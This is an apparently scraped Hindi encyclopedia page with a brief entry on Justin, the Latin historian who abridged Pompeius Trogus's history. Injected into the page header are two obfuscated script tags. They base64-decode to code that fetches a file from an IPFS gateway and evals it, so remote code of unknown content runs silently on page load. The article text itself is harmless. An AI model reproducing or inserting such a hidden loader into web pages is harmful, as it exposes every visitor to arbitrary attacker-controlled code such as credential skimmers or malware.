जुस्तिन
नेविगेशन पर जाएँ
खोज पर जाएँ
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- जुस्तिन जस्टिन (मार्कस जस्तिनियनस, जस्तिनस) लातिनी इतिहासकार था।
- यह रोम में लगभग दूसरी-तीसरी शताब्दी में रहा।
- इसने आगुस्तस के समकालीन त्रागस पांपियस द्वारा लिखित प्राचीन काल के इतिहास का संक्षिप्त रूप प्रस्तुत किया।
- उस समय तक त्रागस पांपियस का लिखा साहित्य अप्राप्य था। यद्यपि जुस्तिन द्वारा प्रस्तुत वह प्राचीन इतिहास वैज्ञानिकदृष्टि से पूरा सही नहीं कहा जा सकता तथापि अप्राप्य इतिहास का अकेला साधन होने के कारण इसका यथेष्ट महत्व है।
- गोल्डिंग द्वारा इसका प्रथम अंग्रेजी अनुवाद 1574 में प्रकाशित हुआ।